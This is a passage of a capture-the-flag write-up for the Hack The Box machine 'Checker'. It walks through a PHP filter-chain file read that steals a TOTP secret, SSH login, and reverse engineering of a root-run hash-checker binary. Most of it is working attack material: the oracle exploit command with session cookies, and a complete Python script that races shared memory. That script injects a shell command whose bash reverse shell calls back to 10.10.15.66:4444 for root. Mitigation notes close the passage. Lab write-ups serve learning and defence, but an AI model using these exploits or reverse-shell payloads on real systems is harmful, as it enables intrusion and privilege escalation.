_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nsystemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:104::/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\npollinate:x:105:1::/var/cache/pollinate:/bin/false\nsshd:x:106:65534::/run/sshd:/usr/sbin/nologin\nusbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\nreader:x:1000:1000::/home/reader:/bin/bash\nmysql:x:108:114:MySQL Server,,,:/nonexistent:/bin/false\n_laurel:x:999:999::/var/log/laurel:/bin/fals'

We could abuse this LFR and get the .google_authenticator for the reader user. However, we cannot read this file. This makes sense as we’re not acting as reader but as the user which is running the webapp.

However, when exploring the website, we found an interesting doc :

backup

This page is giving the best practices about backup but the interesting thing is they are telling where they store the backups. That means there is a chance we could retrieve the .google_authenticator there instead of in its original location.

1
2
3
4
5
6
7
8
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Checker/php_filter_chains_oracle_exploit]
└─$ python filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/8/save-draft' --file '/etc/passwd' --verb PUT --parameter html --headers '{"Cookie":"XSRF-TOKEN=eyJpdiI6InAwR3ZTWEtycFU1WTk4d3lIRGtrcGc9PSIsInZhbHVlIjoiK0NoTUVGR0dMcTZKa3FWNEtoeGNtOWY3cmdQcG8yTDRhU3JnQndvOVA3SXQwVXBaS0lrYjFYb3d5VHFjZEYwd1hFZ3VvWHkzV1A5dE1yek9HQjR6Zy9YY1NjZDFHQUtuZ2Q4SnVBNE5SN0tDVEc5UXNqbmd6Z1d0bG5ZN0FBQlAiLCJtYWMiOiIyZGY0NWQ3YjFiN2I1NGU5YTFhNDg1MmFmMzY2MDNjM2VhM2I4NmNmNmMxYTVjMzY3M2Y0YTZkMmI4YmEyYjBjIiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6ImhqeHVvTnQwV3BLbkszUVhQMlE0dnc9PSIsInZhbHVlIjoiMkVjeERVeHdwRmpEN3FCb0FuaFlQMmZMOThydnNtUnJPbWFibkI4TWp1ZGlNb2MxQzBjRkNTWUhES1daV29qVU1USGhuWE5ld3ZFRUFNUGZrVVNGOGFVWTdrd0M3d2xJY21uRzdEdStnMzAxcG5rMVZIWVZxZW5RK0N5WnorSDYiLCJtYWMiOiI2ZjkyYTk0ZTU5YjkwYjNiMjZiNDY0MjcxMWRhMjY4ZjA1ZDNhZTZjN2NiOTdmMjJiOTRiNzE5MzBiNTliNDBlIiwidGFnIjoiIn0%3D", "X-CSRF-TOKEN":"8ye7tNR8UndHqIX0vR7ylumAtp28637rwVpGzwiD"}'
[*] The following URL is targeted : http://checker.htb/ajax/page/8/save-draft
[*] The following local file is leaked : /backup/home_backup/home/reader/.google_authenticator
[*] Running PUT requests
[*] Additionnal headers used : {"X-CSRF-TOKEN":"Bx8Gas1H0wFbUcw0HIn2N33afin9rakJJh0TSJu8","Content-Type":"application/json","Cookie":"teampass_session=f494t785o4melioes149mh2vrd; jstree_select=1; bookstack_session=eyJpdiI6IlZ5clR5TERwZHhFLzdjT0loL2dwUFE9PSIsInZhbHVlIjoiU3lldXkwL2dyQWZBaDVPNytkTDAyaUVicEtWVGVvMEJDNEhKalo0bUVIQWN5OWtpUkZLcGprb1N1aGN4bkxYSFVXcWhuWFpWWWRpaWpXY244STdhdVkzTGZXWm9MNm5tdUhZOXdtdVh3NFJka041RWwycXZHWWNRMUVLUDh3WHIiLCJtYWMiOiJkYzc1MjdlYmI1NmNhYjQxYjVhMDg0MDc5MzE0NzUwYjU3ZWFiOGQyN2ZhYTg5YjBhYTY4YjkxMmQ5YjE4ZTk1IiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IklZdUhDZ0YrSjBnZ3UrM0Zodk5PcHc9PSIsInZhbHVlIjoiSndsTGpBUE9uSFFtSXFzSWJ4b2dOZjNyMjNCazU1REE4dktmRmJoWk56NXREQmIvbm9rdU9aWjlrVDFDdmt3V1pBZC9qWXZEeVgwNWk0NjRJTDJZNmhKM1JZTlAyUTJWbUVLdmdZR1hYUi9BQ3kvUzJJcmFmbWVOM1phUlJweEUiLCJtYWMiOiJjOWI2NWZlOGE0YTlhZWIyYTM0YjdlYWUyMjU3NjQyYjQ3ZDY0YjEyMDU0MGFjYjRiYTk3YjJiOGJlZmYyNmM0IiwidGFnIjoiIn0%3D"}
RFZEQlJBT0RMQ1dGN0kyT05BNEs1TFFMVUUKIiBUT
b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n'

Great ! We recovered the file following the backup file structure and get the .google-authenticator.


User Flag

Let’s now generate an OTP, access the server and get the user flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Checker/php_filter_chains_oracle_exploit]
└─$ oathtool --totp -b DVDBRAODLCWF7I2ONA4K5LQLUE

048034

┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Checker/php_filter_chains_oracle_exploit]
└─$ ssh reader@checker.htb
(reader@checker.htb) Password: 
(reader@checker.htb) Verification code: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Last login: Tue Feb 25 22:57:48 2025 from 10.10.14.118
reader@checker:~$ ll
total 36
drwxr-x--- 4 reader reader 4096 Feb  6  2025 ./
drwxr-xr-x 3 root   root   4096 Jun 12  2024 ../
lrwxrwxrwx 1 root   root      9 Feb  6  2025 .bash_history -> /dev/null
-rw-r--r-- 1 reader reader  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 reader reader 3771 Jan  6  2022 .bashrc
drwx------ 2 reader reader 4096 Jun 15  2024 .cache/
-r-------- 1 reader reader   39 Jun 14  2024 .google_authenticator
drwxrwxr-x 3 reader reader 4096 Jun 15  2024 .local/
-rw-r--r-- 1 reader reader  807 Jan  6  2022 .profile
-rw-r----- 1 root   reader   33 Oct 17 12:07 user.txt

Privilege Escalation

One of the first thing to check are the sudo permissions for a user.

1
2
3
4
5
6
7
8
9
10
11
reader@checker:~$ sudo -l
Matching Defaults entries for reader on checker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User reader may run the following commands on checker:
    (ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *
reader@checker:~$ cat /opt/hash-checker/check-leak.sh
#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"

We can see this user can run the script /opt/hash-checker/check-leak.sh as root and without any password requirement. We’ll check inside the folder and see the script is launching the binary which is in the same folder.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
reader@checker:~$ ll /opt/hash-checker/
total 68
drwxr-xr-x 2 root root  4096 Jan 30 17:09 ./
drwxr-xr-x 5 root root  4096 Jan 30 17:04 ../
-r-------- 1 root root   118 Jan 30 17:07 .env
-rwxr--r-- 1 root root   141 Jan 30 17:04 check-leak.sh*
-rwxr--r-- 1 root root 42376 Jan 30 17:02 check_leak*
-rwx------ 1 root root   750 Jan 30 17:07 cleanup.sh*
-rw-r--r-- 1 root root  1464 Jan 30 17:09 leaked_hashes.txt
reader@checker:/opt/hash-checker$ cat check-leak.sh 
#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"
reader@checker:/opt/hash-checker$ file check_leak 
check_leak: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f1d8ae448c936df395ad9e825b897965da88afd8, for GNU/Linux 3.2.0, with debug_info, not stripped

We also see bcrypt hashes stored in a txt file :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
reader@checker:/opt/hash-checker$ cat leaked_hashes.txt 
$2b$10$rbzaxiT.zUi.e28wm2ja8OGx.jNamreNFQC6Kh/LeHufCmduH8lvy
$2b$10$Tkd9LwWOOzR.DWdzj9aSp.Bh.zQnxZahKel4xMjxLIHzdostFVqsK
$2b$10$a/lpwbKF6pyAWeGHCVARz.JOi3xtNzGK..GZON/cFhNi1eyMi4UIC
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
$2b$10$DanymKXfnu1ZTrRh3JwBhuPsmjgOEBJLNEEmLPAAIfG9kiOI28fIC
$2b$10$/GwrAIQczda3O5.rnGb4IOqEE/JMU4TIcy95ECSh/pZBQzhlWITQ.
$2b$10$Ef6TBE9GdSsjUPwjm0NYlurGfVO/GdtaCsWBpVRPnQsCbYgf4oU8a
$2b$10$/KLwuhoXHfyKpq1qj8BDcuzNyhR0h0g27jl0yiX7BpBL9kO.wFWii
$2b$10$Ito9FRIN9DgMHWn20Zgfa.yKKlJ.HedScxyvymCxMYTWaZANHIzvO
$2b$10$J025XtUSjTm.kUfa19.6geInkfiISIjkr7unHxT4V/XDIl.2LYrZ2
$2b$10$g962m7.wovzDRPI/4l0GEOviIs2WUPBqlkPgVAPfsYpa138dd9aYK
$2b$10$keolOsecWXEyDIN/zDPVbuc/UOjGjnZGblpdBPQAfZDVm2fRIDUCq
$2b$10$y2Toog209OyRWk6z7S7XNOAkVBijv3HwNBpKk.R1bPCYuR8WxrL66
$2b$10$O4OQizv0TVsWxWi26tg8Xu3SCS29ZEv9JqwlY5ED240qW8V0eyG7a
$2b$10$/1ePaOFZrcpNHWFk72ZNpepXRvXIi1zMSBYBGGqxfUlxw/JiQQvCG
$2b$10$/0az8KLoanuz3rfiN.Ck9./Mt6IHxs5OGtKbgM31Z0NH9maz1hPDe
$2b$10$VGR3JK.E0Cc3OnY9FuB.u.qmwFBBRCrRLAvUlPnO5QW5SpD1tEeDO
$2b$10$9p/iOwsybwutYoL3xc5jaeCmYu7sffW/oDq3mpCUf4NSZtq2CXPYC
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
$2b$10$8cXny33Ok0hbi2IY46gjJerQkEgKj.x1JJ6/orCvYdif07/tD8dUK
$2b$10$QAcqcdyu1T1qcpM4ZQeM6uJ3dXw2eqT/lUUGZvNXzhYqcEEuwHrvS
$2b$10$M1VMeJrjgaIbz2g2TCm/ou2srr4cd3c18gxLA32NhvpXwxo3P5DZW
$2b$10$rxp3yM98.NcbD3NeHLjGUujzIEWYJ5kiSynHOHo0JvUvXq6cBLuRO
$2b$10$ZOUUTIj7JoIMwoKsXVOsdOkTzKgHngBCqkt.ASKf78NUwfeIB4glK

Checking the strings in the binary revealed interesting stuff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
reader@checker:/opt/hash-checker$ strings check_leak 
/lib64/ld-linux-x86-64.so.2
__gmon_start__
_ITM_deregisterTMCloneTable
_ITM_registerTMCloneTable
__asan_init
__asan_report_load1
strlen

...

mysql_fetch_row
mysql_error
mysql_init
mysql_close
mysql_real_connect
mysql_store_result
mysql_free_result
mysql_query

...

shmget
shmat
Leaked hash detected at %s > %s
Failed to locate shared memory segment with key 0x%X. It may not exist or there may be insufficient permissions.
Unable to attach to shared memory segment with ID %d. Please check if the segment is accessible.
An error occurred while detaching from shared memory segment with ID %d.
Could not delete shared memory segment with ID %d. Please ensure you have the necessary permissions.
1 32 256 17 result_buffer:171
No shared memory segment found for the given address: 0x%X
Leaked hash detected
MYSQL_PWD
setenv
mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = "%s"'
Failed to allocate memory for command
Failed to execute MySQL query
Failed to read result from the db
Failed to allocate memory for result string
User will be notified via %s
Malformed data in the shared memory.
No hash detected in shared memory.

Running the binary confirmed it’s using shared memory.

1
2
3
4
reader@checker:/opt/hash-checker$ sudo /opt/hash-checker/check-leak.sh bob
Password is leaked!
Using the shared memory 0xCEDD0 as temp location
User will be notified via bob@checker.htb

So it’s doing things related to MySQL and Shared memory. It’s certainly comparing hashes against a local database.

Using Ghidra, we can see the program is taking the db credentials into the .env file. We cannot read this file however.

ghidra main

Then it checks username is less than 20 chars, and then call fetch_hash_from_db which is extracting the user hash from mysql :

1
snprintf((char *)(puVar8 + 4),0x400,"SELECT pw FROM teampass_users WHERE login = \'%s\';",param_5)

Then it will compare the hash against the txt file. If any match, it calls write_to_shm and report this match using notify_user function before calling clear_shared_memory.

ghidra check user

Let’s now have a look at these 2 functions write_to_shm and notify_user

write_to_shm is first seeding using srand, then get a segment of size 1024. It then attach to this segment and write a formatted string snprintf(__s, 0x400, “Leaked hash detected at %s > %s\n”, __s_00, param_1); into the shared memory buffer before doing some cleanup (detach).

Because keys are predictable and the segment is created via shmget(key, …) (not IPC_PRIVATE), there’s a race: attacker can create a segment first, or delete and recreate, or somehow manipulate content between creation and attach.

write_to_shm

On the other hand, notify_user is attaching to a shared memory segment then it looks for a marker string Leaked hash detected, set the mysql password, build a mysql command (“mysql -u %s -D %s -s -N -e ‘select email from teampass_users where pw = "% s"’“) and will read user email before doing some cleanup (pclose, free, shmdt).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
void notify_user(undefined8 param_1,undefined8 param_2,char *param_3,undefined8 param_4,uint param_5
                )
{
  char cVar1;
  uint __shmid;
  int iVar2;
  undefined8 *puVar3;
  char *__haystack;
  char *pcVar4;
  undefined8 uVar5;
  FILE *__stream;
  char *pcVar6;
  ulong uVar7;
  bool bVar8;
  char *extraout_RDX;
  ulong uVar9;
  undefined8 *puVar10;
  long in_FS_OFFSET;
  undefined8 local_1a8 [47];
  long local_30;
  
  puVar10 = local_1a8;
  if ((__asan_option_detect_stack_use_after_return != 0) &&
     (puVar3 = (undefined8 *)__asan_stack_malloc_3(0x160), puVar3 != (undefined8 *)0x0)) {
    puVar10 = puVar3;
  }
  *puVar10 = 0x41b58ab3;
  puVar10[1] = "1 32 256 17 result_buffer:171";
  puVar10[2] = notify_user;
  uVar9 = (ulong)puVar10 >> 3;
  *(undefined4 *)(uVar9 + 0x7fff8000) = 0xf1f1f1f1;
  *(undefined4 *)(uVar9 + 0x7fff8024) = 0xf3f3f3f3;
  *(undefined4 *)(uVar9 + 0x7fff8028) = 0xf3f3f3f3;
  local_30 = *(long *)(in_FS_OFFSET + 0x28);
  __shmid = shmget(param_5,0,0x1b6);
  if (__shmid == 0xffffffff) {
    printf("No shared memory segment found for the given address: 0x%X\n",(ulong)param_5);
  }
  else {
    __haystack = (char *)shmat(__shmid,(void *)0x0,0);
    if (__haystack == (char *)0xffffffffffffffff) {
      if (DAT_80019140 != '\0') {
        __asan_report_load8(&stderr);
      }
      fprintf(stderr,
              "Unable to attach to shared memory segment with ID %d. Please check if the segment is accessible.\n"
              ,(ulong)__shmid);
    }
    else {
      pcVar4 = strstr(__haystack,"Leaked hash detected");
      if (pcVar4 == (char *)0x0) {
        puts("No hash detected in shared memory.");
      }
      else {
        pcVar4 = strchr(pcVar4,0x3e);
        if (pcVar4 == (char *)0x0) {
          puts("Malformed data in the shared memory.");
        }
        else {
          uVar5 = trim_bcrypt_hash(pcVar4 + 1);
          iVar2 = setenv("MYSQL_PWD",param_3,1);
          if (iVar2 == 0) {
            iVar2 = snprintf((char *)0x0,0,
                             "mysql -u %s -D %s -s -N -e \'select email from teampass_users where pw  = \"%s\"\'"
                             ,param_2,param_4,uVar5);
            pcVar4 = (char *)malloc((long)(iVar2 + 1));
            if (pcVar4 == (char *)0x0) {
              puts("Failed to allocate memory for command");
              shmdt(__haystack);
              bVar8 = false;
            }
            else {
              snprintf(pcVar4,(long)(iVar2 + 1),
                       "mysql -u %s -D %s -s -N -e \'select email from teampass_users where pw = \"% s\"\'"
                       ,param_2,param_4,uVar5);
              __stream = popen(pcVar4,"r");
              if (__stream == (FILE *)0x0) {
                puts("Failed to execute MySQL query");
                free(pcVar4);
                shmdt(__haystack);
                bVar8 = false;
              }
              else {
                pcVar6 = fgets((char *)(puVar10 + 4),0x100,__stream);
                if (pcVar6 == (char *)0x0) {
                  puts("Failed to read result from the db");
                  pclose(__stream);
                  free(pcVar4);
                  shmdt(__haystack);
                  bVar8 = false;
                }
                else {
                  pclose(__stream);
                  free(pcVar4);
                  pcVar4 = strchr((char *)(puVar10 + 4),10);
                  if (pcVar4 != (char *)0x0) {
                    cVar1 = *(char *)(((ulong)pcVar4 >> 3) + 0x7fff8000);
                    if (cVar1 <= (char)((byte)pcVar4 & 7) && cVar1 != '\0') {
                      __asan_report_store1(pcVar4);
                    }
                    *pcVar4 = '\0';
                  }
                  pcVar4 = strdup((char *)(puVar10 + 4));
                  if (pcVar4 == (char *)0x0) {
                    puts("Failed to allocate memory for result string");
                    shmdt(__haystack);
                    bVar8 = false;
                  }
                  else {
                    pcVar6 = (char *)(puVar10 + 4);
                    cVar1 = *(char *)(((ulong)pcVar6 >> 3) + 0x7fff8000);
                    if (cVar1 <= (char)((byte)pcVar6 & 7) && cVar1 != '\0') {
                      __asan_report_load1(pcVar6);
                      pcVar6 = extraout_RDX;
                    }
                    if (*pcVar6 != '\0') {
                      printf("User will be notified via %s\n",puVar10 + 4);
                    }
                    free(pcVar4);
                    bVar8 = true;
                  }
                }
              }
            }
          }
          else {
            perror("setenv");
            shmdt(__haystack);
            bVar8 = false;
          }
          uVar7 = (ulong)(puVar10 + 4) >> 3;
          *(undefined4 *)(uVar7 + 0x7fff8000) = 0xf8f8f8f8;
          *(undefined4 *)(uVar7 + 0x7fff8004) = 0xf8f8f8f8;
          *(undefined4 *)(uVar7 + 0x7fff8008) = 0xf8f8f8f8;
          *(undefined4 *)(uVar7 + 0x7fff800c) = 0xf8f8f8f8;
          *(undefined4 *)(uVar7 + 0x7fff8010) = 0xf8f8f8f8;
          *(undefined4 *)(uVar7 + 0x7fff8014) = 0xf8f8f8f8;
          *(undefined4 *)(uVar7 + 0x7fff8018) = 0xf8f8f8f8;
          *(undefined4 *)(uVar7 + 0x7fff801c) = 0xf8f8f8f8;
          if (!bVar8) goto LAB_00103b3a;
        }
      }
      iVar2 = shmdt(__haystack);
      if (iVar2 == -1) {
        perror("shmdt");
      }
      unsetenv("MYSQL_PWD");
    }
  }
LAB_00103b3a:
  if (local_1a8 == puVar10) {
    *(undefined8 *)(uVar9 + 0x7fff8000) = 0;
    *(undefined8 *)(uVar9 + 0x7fff8008) = 0;
    *(undefined8 *)(uVar9 + 0x7fff8010) = 0;
    *(undefined8 *)(uVar9 + 0x7fff8018) = 0;
    *(undefined8 *)(uVar9 + 0x7fff8020) = 0;
    *(undefined4 *)(uVar9 + 0x7fff8028) = 0;
  }
  else {
    *puVar10 = 0x45e0360e;
    *(undefined8 *)(uVar9 + 0x7fff8000) = 0xf5f5f5f5f5f5f5f5;
    *(undefined8 *)(uVar9 + 0x7fff8008) = 0xf5f5f5f5f5f5f5f5;
    *(undefined8 *)(uVar9 + 0x7fff8010) = 0xf5f5f5f5f5f5f5f5;
    *(undefined8 *)(uVar9 + 0x7fff8018) = 0xf5f5f5f5f5f5f5f5;
    *(undefined8 *)(uVar9 + 0x7fff8020) = 0xf5f5f5f5f5f5f5f5;
    *(undefined4 *)(uVar9 + 0x7fff8028) = 0xf5f5f5f5;
    *(undefined1 *)puVar10[0x3f] = 0;
  }
  if (local_30 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

In summary :

  • It consumes the shared-memory message written by your earlier function (write_to_shm) to detect a leaked bcrypt hash.
  • It resolves that hash to an email by shelling out to the MySQL client and querying the teampass_users table.
  • It then logs that it will notify the user via the retrieved email (actual notification is not implemented here—just a printf).

Exploitation

Let’s reassemble the pieces :

  • Check_leak reads DB creds from root-owned .env and runs as root via sudo /opt/hash-checker/check-leak.sh.
  • When a leaked hash is found, it calls write_to_shm(hash), which creates a SysV shared memory segment and prints the segment key (hex).
  • It then sleep(1) and calls notify_user, which:
    • Attaches to the SHM with that key,
    • Reads the text after the > delimiter,
    • Sets MYSQL_PWD and builds a shell command:
    • executes this string with popen() (shell).
  • Because the SHM contents are attacker-writable and read after a 1s sleep, a race lets an unprivileged user overwrite the SHM with a payload that closes the quotes and injects arbitrary shell commands. popen() runs them as root → RCE.

So we will build an exploit which will :

  • Run the sudo wrapper that will invoke the root binary:
    1
    
    sudo /opt/hash-checker/check-leak.sh bob
    
  • Capture printed SHM key from stdout (it prints Using the shared memory 0xHEX as temp location).
  • Within the 1s sleep window, attach to the SysV SHM by that key and overwrite with payload. Payload used:
    1
    
    Leaked hash detected at 2025-10-01 00:00:00 > "';bash -c "bash -i >& /dev/tcp/10.10.15.66/4444 0>&1" #
    

    That payload closes the inner “ and the outer single-quoted -e ‘…’, injects the reverse-shell, and comments the rest.

  • Wait for the root process to run notify_user() and popen()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
reader@checker:/opt/hash-checker$ python3 - <<'PY'
import os, re, time, ctypes, subprocess

# --- libc bindings ---
libc = ctypes.CDLL("libc.so.6", use_errno=True)
shmget = libc.shmget
shmget.argtypes = [ctypes.c_int, ctypes.c_size_t, ctypes.c_int]
shmget.restype  = ctypes.c_int

shmat = libc.shmat
shmat.argtypes = [ctypes.c_int, ctypes.c_void_p, ctypes.c_int]
shmat.restype  = ctypes.c_void_p

# --- run the root flow ---
p = subprocess.Popen(
    ["sudo","/opt/hash-checker/check-leak.sh","bob"],
    stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
)

key_hex = None
while True:
    line = p.stdout.readline()
    if not line:
        break
    print(line, end="")
    m = re.search(r'Using the shared memory 0x([0-9A-Fa-f]+) as temp location', line)
    if m:
        key_hex = m.group(1)
        break

if not key_hex:
    print("[!] No SHM key printed (user likely not in leaked list).")
    p.wait()
    raise SystemExit(1)

key = int(key_hex, 16)
print(f"[+] SHM key: 0x{key:x}")

# The reader path uses shmget(key, 0, 0666)
IPC_PERMS = 0o666
shmid = shmget(key, 0, IPC_PERMS)
if shmid < 0:
    err = ctypes.get_errno()
    raise OSError(err, f"shmget failed for key 0x{key:x}")

addr = shmat(shmid, None, 0)
if addr == ctypes.c_void_p(-1).value:
    err = ctypes.get_errno()
    raise OSError(err, "shmat failed")

# Build payload: overwrite the value parsed after '>'
# It closes the inner double quote, then closes the -e single quote, runs our command, comments rest.
attacker_ip = "10.10.15.66"
attacker_port = 4444
payload = (
    'Leaked hash detected at 2025-10-01 00:00:00 > "'
    f"';bash -c \"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1\" #\n"
)

BUF_SZ = 1024
data = payload.encode()
if len(data) >= BUF_SZ:
    data = data[:BUF_SZ-1]
data = data + b"\x00" * (BUF_SZ - len(data))

# Write into SHM
ctypes.memmove(addr, data, len(data))
print("[+] Wrote payload into SHM. Waiting for root to hit notify_user()...")
p.wait()
print("[*] Done. Check your listener.")
PY
[+] Wrote payload into SHM. Waiting for root to hit notify_user()...
[*] Done. Check your listener.

Root Flag

On our nc listener :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(sc4nx㉿attackhost)-[~/Downloads/HTBBoxes/Checker]
└─$ nc -nvlp 4444             
listening on [any] 4444 ...
connect to [10.10.15.66] from (UNKNOWN) [10.129.144.167] 49634
root@checker:/opt/hash-checker# 

root@checker:/opt/hash-checker# id
id
uid=0(root) gid=0(root) groups=0(root)
root@checker:/opt/hash-checker# cd /root
cd /root
root@checker:~# ll
ll
total 36
drwx------  6 root root 4096 Oct 17 12:07 ./
drwxr-xr-x 21 root root 4096 Feb  6  2025 ../
lrwxrwxrwx  1 root root    9 Feb  6  2025 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Oct 15  2021 .bashrc
drwx------  5 root root 4096 Feb  6  2025 .cache/
drwxr-xr-x  5 root root 4096 Feb  6  2025 .config/
drwxr-xr-x  3 root root 4096 Feb  6  2025 .local/
lrwxrwxrwx  1 root root    9 Feb  6  2025 .mysql_history -> /dev/null
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
drwx------  2 root root 4096 Feb  6  2025 .ssh/
-rw-r-----  1 root root   33 Oct 17 12:07 root.txt
root@checker:~# 

Mitigations / Blue team notes

  • Immediate code fixes

    • Remove the sleep(1). Don’t create races between writing and reading IPC. If you need a temporary IPC name, create it and immediately IPC_RMID it (SysV) or shm_unlink (POSIX) so the name cannot be reused.

    • Don’t print IPC identifiers to stdout or logs accessible to unprivileged users.

    • Use secure IPC: use IPC_PRIVATE (SysV) or POSIX shm_open with a securely randomized name and 0600 permissions, and avoid predictable rand() keys seeded by time(). Prefer authenticated IPC channels.

    • Never build shell commands with untrusted input. Use a native MySQL client library (e.g., libmysqlclient) and prepared statements, or at minimum execve() with an argv array (no shell).

    • Avoid MYSQL_PWD in environment; use the DB client library and pass credentials via API.

    • Validate shared-memory content strictly (e.g., strict bcrypt regex: ^$2[aby]$\d{2}$[./A-Za-z0-9]{53}$) before using it in any DB query or shell.

    • Use IPC_CREAT / IPC_EXCL when creating new IPC objects and handle the case when it already exists safely.

  • Sudo / deployment fixes

    • Minimize sudo scope: don’t allow NOPASSWD on wrapper scripts that source root-owned env files. Prefer sudo directly to the binary with specific arguments or write a small, audited, privilege-separated service that performs the action.

    • Sanitize environment for sudo: ensure env_reset and restrict env_keep as appropriate.

  • Detection

    • Alert on processes that call popen() or spawn shells with commands containing suspicious quoting patterns or IPC keys.

    • Detect short-lived IPC segments created with permissive perms and unusual names or keys.

    • Monitor ipcs, ipcrm usage and sudden SHM creation/removal by unprivileged users.

This post is licensed under CC BY 4.0 by the author.